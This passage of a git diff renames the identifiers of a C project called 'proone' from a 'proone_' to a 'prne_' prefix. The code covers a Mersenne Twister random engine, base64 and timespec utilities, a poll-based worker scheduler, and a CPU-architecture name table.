proone_rnd_engine_alloc_result_code_t; - -struct proone_rnd_engnie_alloc_result { - proone_rnd_engine_alloc_result_code_t result; - proone_rnd_engine_t *engine; -}; - - -void proone_init_alloc_rnd_engine_result (proone_rnd_engnie_alloc_result_t *r); -proone_rnd_engnie_alloc_result_t proone_alloc_rnd_engine (const uint32_t *seed); -void proone_free_rnd_engine (proone_rnd_engine_t *engine); -uint32_t proone_rnd_gen_int (proone_rnd_engine_t *engine); -double proone_rnd_gen_double (proone_rnd_engine_t *engine); diff --git a/src/proone_util.h b/src/proone_util.h deleted file mode 100644 index 605f2a8..0000000 --- a/src/proone_util.h +++ /dev/null @@ -1,34 +0,0 @@ -#pragma once -#include "proone_rnd.h" - -#include <stddef.h> -#include <time.h> - - -#define proone_op_spaceship(a,b) (a==b?0:a<b?-1:1) - - -#if 0 -bool proone_strendsw (const char *str, const char *w) { - const size_t len_str = strlen(str); - const size_t len_w = strlen(w); - - if (len_str < len_w) { - return false; - } - return strcmp(str + (len_str - len_w), w) == 0; -} -#endif - -void proone_succeed_or_die (const int ret); -void proone_empty_func (); - -void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, const size_t len); -size_t proone_str_shift_spaces (char *str, const size_t len); - -struct timespec proone_sub_timespec (const struct timespec *a, const struct timespec *b); -double proone_real_timespec (const struct timespec *ts); -int proone_cmp_timespec (const struct timespec *a, const struct timespec *b); - -char *proone_enc_base64_mem (const uint8_t *data, const size_t size); -bool proone_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size); diff --git a/src/proone_worker.h b/src/proone_worker.h deleted file mode 100644 index b264fc9..0000000 --- a/src/proone_worker.h +++ /dev/null @@ -1,64 +0,0 @@ -#pragma once -#include <stddef.h> -#include <stdint.h> -#include <stdbool.h> -#include <time.h> -#include <poll.h> - - -typedef uint8_t proone_worker_sched_flag_t; - -typedef struct proone_worker_sched_req proone_worker_sched_req_t; -typedef bool(*proone_worker_sched_req_alloc_func_t)(proone_worker_sched_req_t *, const size_t); -typedef void(*proone_worker_sched_req_free_func_t)(proone_worker_sched_req_t *); -typedef struct proone_worker_sched_req_mem_func proone_worker_sched_req_mem_func_t; -typedef struct proone_worker_sched_info proone_worker_sched_info_t; -typedef struct proone_worker proone_worker_t; - -struct proone_worker_sched_req_mem_func { - proone_worker_sched_req_alloc_func_t alloc; - proone_worker_sched_req_free_func_t free; - void *ctx; -}; - -struct proone_worker_sched_req { - size_t pollfd_arr_size; - struct pollfd *pollfd_arr; - struct timespec timeout; - proone_worker_sched_req_mem_func_t mem_func; - proone_worker_sched_flag_t flags; - bool pollfd_ready; -}; - -struct proone_worker_sched_info { - proone_worker_sched_flag_t tick_flags; - struct timespec last_tick; - struct timespec this_tick; - struct timespec tick_diff; - double real_tick_diff; -}; - -struct proone_worker { - intptr_t id; - void *ctx; - - void (*free)(void *ctx); - void (*fin)(void *ctx); - void (*work)(void *ctx, const proone_worker_sched_info_t *sched_info, proone_worker_sched_req_t *sched_req); - bool (*has_finalised)(void *ctx); -}; - -/* Do nothing. The worker has more work to do and is yielding cpu time to the -* other workers. -*/ -static const proone_worker_sched_flag_t PROONE_WORKER_SCHED_FLAG_NONE = 0x00; -/* Do `poll()`. The worker has to set `shed_req` properly. -*/ -static const proone_worker_sched_flag_t PROONE_WORKER_SCHED_FLAG_POLL = 0x01; -/* Do `poll()` with timeout or just sleep. The worker has to set -* `proone_worker_sched_req_t::timeout` properly. -*/ -static const proone_worker_sched_flag_t PROONE_WORKER_SCHED_FLAG_TIMEOUT = 0x02; - - -bool proone_init_worker_sched_req (proone_worker_sched_req_t *wsr, proone_worker_sched_req_mem_func_t *mem_func); diff --git a/src/proone_protocol.c b/src/protocol.c index 3721440..93f5f7d 100644 --- a/src/proone_protocol.c +++ b/src/protocol.c @@ -1,69 +1,69 @@ -#include "proone_protocol.h" +#include "protocol.h" #include <string.h> -const char *proone_arch2str (const proone_arch_t x) { +const char *prne_arch2str (const prne_arch_t x) { switch (x){ - case PROONE_ARCH_ARMV4T: + case PRNE_ARCH_ARMV4T: return "armv4t"; - case PROONE_ARCH_ARMV7: + case PRNE_ARCH_ARMV7: return "armv7"; - case PROONE_ARCH_I586: + case PRNE_ARCH_I586: return "i586"; - case PROONE_ARCH_M68K: + case PRNE_ARCH_M68K: return "m68k"; - case PROONE_ARCH_MIPS: + case PRNE_ARCH_MIPS: return "mips"; - case PROONE_ARCH_MPSL: + case PRNE_ARCH_MPSL: return "mpsl"; - case PROONE_ARCH_PPC: + case PRNE_ARCH_PPC: return "ppc"; - case PROONE_ARCH_RV32: + case PRNE_ARCH_RV32: return "rv32"; - case PROONE_ARCH_RV64: + case PRNE_ARCH_RV64: return "rv64"; - case PROONE_ARCH_SH4: + case PRNE_ARCH_SH4: return "sh4"; - case PROONE_ARCH_SPC: + case PRNE_ARCH_SPC: return "spc"; } return NULL; } -proone_arch_t proone_str2arch (const char *str) { +prne_arch_t prne_str2arch (const char *str) { if (strcmp(str, "armv4t") == 0) { - return PROONE_ARCH_ARMV4T; + return PRNE_ARCH_ARMV4T; } else if (strcmp(str, "armv7") == 0) { - return PROONE_ARCH_ARMV7; + return PRNE_ARCH_ARMV7; } else if (strcmp(str, "i586") == 0) { - return PROONE_ARCH_I586; + return PRNE_ARCH_I586; } else if (strcmp(str, "m68k") == 0) { - return PROONE_ARCH_M68K; + return PRNE_ARCH_M68K; } else if (strcmp(str, "mips") == 0) { - return PROONE_ARCH_MIPS; + return PRNE_ARCH_MIPS; } else if (strcmp(str, "mpsl") == 0) { - return PROONE_ARCH_MPSL; + return PRNE_ARCH_MPSL; } else if (strcmp(str, "ppc") == 0) { - return PROONE_ARCH_PPC; + return PRNE_ARCH_PPC; } else if (strcmp(str, "rv32") == 0) { - return PROONE_ARCH_RV32; + return PRNE_ARCH_RV32; } else if (strcmp(str, "rv64") == 0) { - return PROONE_ARCH_RV64; + return PRNE_ARCH_RV64; } else if (strcmp(str, "sh4") == 0) { - return PROONE_ARCH_SH4; + return PRNE_ARCH_SH4; } else if (strcmp(str, "spc") == 0) { - return PROONE_ARCH_SPC; + return PRNE_ARCH_SPC; } - return PROONE_ARCH_NONE; + return PRNE_ARCH_NONE; } diff --git a/src/protocol.h b/src/protocol.h new file mode 100644 index 0000000..3e57251 --- /dev/null +++ b/src/protocol.h @@ -0,0 +1,25 @@ +#pragma once +#include <stddef.h> + + +typedef enum { + PRNE_ARCH_NONE = -1, + + PRNE_ARCH_ARMV4T, + PRNE_ARCH_ARMV7, + PRNE_ARCH_I586, + PRNE_ARCH_M68K, + PRNE_ARCH_MIPS, + PRNE_ARCH_MPSL, + PRNE_ARCH_PPC, + PRNE_ARCH_RV32, + PRNE_ARCH_RV64, + PRNE_ARCH_SH4, + PRNE_ARCH_SPC, + + NB_PRNE_ARCH +} prne_arch_t; + + +const char *prne_arch2str (const prne_arch_t x); +prne_arch_t prne_str2arch (const char *str); diff --git a/src/proone_rnd.c b/src/rnd.c index 5ec4646..8fff675 100644 --- a/src/proone_rnd.c +++ b/src/rnd.c @@ -1,41 +1,41 @@ -#include "proone_rnd.h" +#include "rnd.h" #include <stdlib.h> #define N ((size_t)624) -struct proone_rnd_engine { +struct prne_rnd_engine { size_t mti; uint32_t mt[N]; }; -void proone_init_alloc_rnd_engine_result (proone_rnd_engnie_alloc_result_t *r) { +void prne_init_alloc_rnd_engine_result (prne_rnd_engnie_alloc_result_t *r) { r->engine = NULL; - r->result = PROONE_RND_ENGINE_ALLOC_OK; + r->result = PRNE_RND_ENGINE_ALLOC_OK; } -proone_rnd_engnie_alloc_result_t proone_alloc_rnd_engine (const uint32_t *s) { - proone_rnd_engnie_alloc_result_t ret; +prne_rnd_engnie_alloc_result_t prne_alloc_rnd_engine (const uint32_t *s) { + prne_rnd_engnie_alloc_result_t ret; uint32_t seed; - proone_init_alloc_rnd_engine_result(&ret); + prne_init_alloc_rnd_engine_result(&ret); if (s == NULL) { seed = 4357; } else { if (*s == 0) { - ret.result = PROONE_RND_ENGINE_ALLOC_INVALID_SEED; + ret.result = PRNE_RND_ENGINE_ALLOC_INVALID_SEED; return ret; } seed = *s; } - ret.engine = (proone_rnd_engine_t*)malloc(sizeof(proone_rnd_engine_t)); + ret.engine = (prne_rnd_engine_t*)malloc(sizeof(prne_rnd_engine_t)); if (ret.engine == NULL) { - ret.result = PROONE_RND_ENGINE_ALLOC_MEM_ERR; + ret.result = PRNE_RND_ENGINE_ALLOC_MEM_ERR; return ret; } @@ -47,11 +47,11 @@ proone_rnd_engnie_alloc_result_t proone_alloc_rnd_engine (const uint32_t *s) { return ret; } -void proone_free_rnd_engine (proone_rnd_engine_t *engine) { +void prne_free_rnd_engine (prne_rnd_engine_t *engine) { free(engine); } -uint32_t proone_rnd_gen_int (proone_rnd_engine_t *engine) { +uint32_t prne_rnd_gen_int (prne_rnd_engine_t *engine) { static const size_t M = 397; static const uint32_t UPPER_MASK = 0x80000000, @@ -88,6 +88,6 @@ uint32_t proone_rnd_gen_int (proone_rnd_engine_t *engine) { return y; } -double proone_rnd_gen_double (proone_rnd_engine_t *engine) { - return (double)proone_rnd_gen_int(engine) * 2.3283064370807974e-10; +double prne_rnd_gen_double (prne_rnd_engine_t *engine) { + return (double)prne_rnd_gen_int(engine) * 2.3283064370807974e-10; } diff --git a/src/rnd.h b/src/rnd.h new file mode 100644 index 0000000..170a902 --- /dev/null +++ b/src/rnd.h @@ -0,0 +1,27 @@ +#pragma once +#include <stddef.h> +#include <stdint.h> +#include <stdbool.h> + + +struct prne_rnd_engine; +typedef struct prne_rnd_engine prne_rnd_engine_t; +typedef struct prne_rnd_engnie_alloc_result prne_rnd_engnie_alloc_result_t; + +typedef enum { + PRNE_RND_ENGINE_ALLOC_OK, + PRNE_RND_ENGINE_ALLOC_INVALID_SEED, + PRNE_RND_ENGINE_ALLOC_MEM_ERR +} prne_rnd_engine_alloc_result_code_t; + +struct prne_rnd_engnie_alloc_result { + prne_rnd_engine_alloc_result_code_t result; + prne_rnd_engine_t *engine; +}; + + +void prne_init_alloc_rnd_engine_result (prne_rnd_engnie_alloc_result_t *r); +prne_rnd_engnie_alloc_result_t prne_alloc_rnd_engine (const uint32_t *seed); +void prne_free_rnd_engine (prne_rnd_engine_t *engine); +uint32_t prne_rnd_gen_int (prne_rnd_engine_t *engine); +double prne_rnd_gen_double (prne_rnd_engine_t *engine); diff --git a/src/proone_util.c b/src/util.c index 6017e54..37694ab 100644 --- a/src/proone_util.c +++ b/src/util.c @@ -1,4 +1,4 @@ -#include "proone_util.h" +#include "util.h" #include <stdlib.h> #include <string.h> @@ -10,22 +10,22 @@ #include <openssl/evp.h> -void proone_succeed_or_die (const int ret) { +void prne_succeed_or_die (const int ret) { if (ret < 0) { abort(); } } -void proone_empty_func () {} +void prne_empty_func () {} -void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, const size_t len) { +void prne_rnd_alphanumeric_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len) { static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; size_t i = 0; uint32_t n; if (len >= 4) { for (; i < len / 4 * 4; i += 4) { - n = proone_rnd_gen_int(rnd_engine); + n = prne_rnd_gen_int(rnd_engine); str[i + 0] = SET[((uint8_t*)&n)[0] % sizeof(SET)]; str[i + 1] = SET[((uint8_t*)&n)[1] % sizeof(SET)]; str[i + 2] = SET[((uint8_t*)&n)[2] % sizeof(SET)]; @@ -33,14 +33,14 @@ void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, co } } if (i < len) { - n = proone_rnd_gen_int(rnd_engine); + n = prne_rnd_gen_int(rnd_engine); for (; i < len; i += 1) { str[i] = SET[((uint8_t*)&n)[i % 4] % sizeof(SET)]; } } } -size_t proone_str_shift_spaces (char *str, const size_t len) { +size_t prne_str_shift_spaces (char *str, const size_t len) { size_t i, ret = len; for (i = 0; i < ret; ) { @@ -62,7 +62,7 @@ size_t proone_str_shift_spaces (char *str, const size_t len) { } -struct timespec proone_sub_timespec (const struct timespec *a, const struct timespec *b) { +struct timespec prne_sub_timespec (const struct timespec *a, const struct timespec *b) { struct timespec ret; if (a->tv_nsec < b->tv_nsec) { @@ -77,11 +77,11 @@ struct timespec proone_sub_timespec (const struct timespec *a, const struct time return ret; } -double proone_real_timespec (const struct timespec *ts) { +double prne_real_timespec (const struct timespec *ts) { return (double)ts->tv_sec + (double)ts->tv_nsec / 1000000000.0; } -int proone_cmp_timespec (const struct timespec *a, const struct timespec *b) { +int prne_cmp_timespec (const struct timespec *a, const struct timespec *b) { if (a->tv_sec < b->tv_sec) { return -1; } @@ -92,7 +92,7 @@ int proone_cmp_timespec (const struct timespec *a, const struct timespec *b) { return a->tv_nsec < b->tv_nsec ? -1 : a->tv_nsec > b->tv_nsec ? 1 : 0; } -char *proone_enc_base64_mem (const uint8_t *data, const size_t size) { +char *prne_enc_base64_mem (const uint8_t *data, const size_t size) { char *ret = NULL, *p = NULL; BIO *b64_bio = NULL, *mem_bio = NULL; bool ok = true; @@ -142,7 +142,7 @@ END: return ret; } -bool proone_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size) { +bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size) { char *in_mem = NULL; size_t in_mem_len, out_len; uint8_t *out_mem = NULL; @@ -165,7 +165,7 @@ bool proone_dec_base64_mem (const char *str, const size_t str_len, uint8_t **dat goto END; } memcpy(in_mem, str, str_len); - in_mem_len = proone_str_shift_spaces(in_mem, str_len); + in_mem_len = prne_str_shift_spaces(in_mem, str_len); if (in_mem_len == 0) { ret = true; goto END; diff --git a/src/util.h b/src/util.h new file mode 100644 index 0000000..a5e3070 --- /dev/null +++ b/src/util.h @@ -0,0 +1,34 @@ +#pragma once +#include "rnd.h" + +#include <stddef.h> +#include <time.h> + + +#define prne_op_spaceship(a,b) (a==b?0:a<b?-1:1) + + +#if 0 +bool prne_strendsw (const char *str, const char *w) { + const size_t len_str = strlen(str); + const size_t len_w = strlen(w); + + if (len_str < len_w) { + return false; + } + return strcmp(str + (len_str - len_w), w) == 0; +} +#endif + +void prne_succeed_or_die (const int ret); +void prne_empty_func (); + +void prne_rnd_alphanumeric_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len); +size_t prne_str_shift_spaces (char *str, const size_t len); + +struct timespec prne_sub_timespec (const struct timespec *a, const struct timespec *b); +double prne_real_timespec (const struct timespec *ts); +int prne_cmp_timespec (const struct timespec *a, const struct timespec *b); + +char *prne_enc_base64_mem (const uint8_t *data, const size_t size); +bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size); diff --git a/src/proone_worker.c b/src/worker.c index 1af8aa1..d99884a 100644 --- a/src/proone_worker.c +++ b/src/worker.c @@ -1,15 +1,15 @@ -#include "proone_worker.h" +#include "worker.h" #include <stdlib.h> -static void def_free_func (proone_worker_sched_req_t *wsr) { +static void def_free_func (prne_worker_sched_req_t *wsr) { free(wsr->pollfd_arr); wsr->pollfd_arr = NULL; wsr->pollfd_arr_size = 0; } -static bool def_alloc_func (proone_worker_sched_req_t *wsr, const size_t ny_size) { +static bool def_alloc_func (prne_worker_sched_req_t *wsr, const size_t ny_size) { if (ny_size == 0) { def_free_func(wsr); } @@ -26,18 +26,18 @@ static bool def_alloc_func (proone_worker_sched_req_t *wsr, const size_t ny_size return true; } -static proone_worker_sched_req_mem_func_t def_mem_func = { def_alloc_func, def_free_func, NULL }; +static prne_worker_sched_req_mem_func_t def_mem_func = { def_alloc_func, def_free_func, NULL }; -bool proone_init_worker_sched_req (proone_worker_sched_req_t *wsr, proone_worker_sched_req_mem_func_t *in_mem_func) { - proone_worker_sched_req_t ret; +bool prne_init_worker_sched_req (prne_worker_sched_req_t *wsr, prne_worker_sched_req_mem_func_t *in_mem_func) { + prne_worker_sched_req_t ret; ret.pollfd_arr_size = 0; ret.pollfd_arr = NULL; ret.timeout.tv_sec = 0; ret.timeout.tv_nsec = 0; ret.mem_func = *(in_mem_func != NULL ? in_mem_func : &def_mem_func); - ret.flags = PROONE_WORKER_SCHED_FLAG_NONE; + ret.flags = PRNE_WORKER_SCHED_FLAG_NONE; ret.pollfd_ready = false; if (!ret.mem_func.alloc(&ret, 0)) { diff --git a/src/worker.h b/src/worker.h new file mode 100644 index 0000000..8927fb0 --- /dev/null +++ b/src/worker.h @@ -0,0 +1,64 @@ +#pragma once +#include <stddef.h> +#include <stdint.h> +#include <stdbool.h> +#include <time.h> +#include <poll.h> + + +typedef uint8_t prne_worker_sched_flag_t; + +typedef struct prne_worker_sched_req prne_worker_sched_req_t; +typedef bool(*prne_worker_sched_req_alloc_func_t)(prne_worker_sched_req_t *, const size_t); +typedef void(*prne_worker_sched_req_free_func_t)(prne_worker_sched_req_t *); +typedef struct prne_worker_sched_req_mem_func prne_worker_sched_req_mem_func_t; +typedef struct prne_worker_sched_info prne_worker_sched_info_t; +typedef struct prne_worker prne_worker_t; + +struct prne_worker_sched_req_mem_func { + prne_worker_sched_req_alloc_func_t alloc; + prne_worker_sched_req_free_func_t free; + void *ctx; +}; + +struct prne_worker_sched_req { + size_t pollfd_arr_size; + struct pollfd *pollfd_arr; + struct timespec timeout; + prne_worker_sched_req_mem_func_t mem_func; + prne_worker_sched_flag_t flags; + bool pollfd_ready; +}; + +struct prne_worker_sched_info { + prne_worker_sched_flag_t tick_flags; + struct timespec last_tick; + struct timespec this_tick; + struct timespec tick_diff; + double real_tick_diff; +}; + +struct prne_worker { + intptr_t id; + void *ctx; + + void (*free)(void *ctx); + void (*fin)(void *ctx); + void (*work)(void *ctx, const prne_worker_sched_info_t *sched_info, prne_worker_sched_req_t *sched_req); + bool (*has_finalised)(void *ctx); +}; + +/* Do nothing. The worker has more work to do and is yielding cpu time to the +* other workers. +*/ +static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_NONE = 0x00; +/* Do `poll()`. The worker has to set `shed_req` properly. +*/ +static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_POLL = 0x01; +/* Do `poll()` with timeout or just sleep. The worker has to set +* `prne_worker_sched_req_t::timeout` properly. +*/ +static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_TIMEOUT = 0x02; + + +bool prne_init_worker_sched_req (prne_worker_sched_req_t *wsr, prne_worker_sched_req_mem_func_t *mem_func); |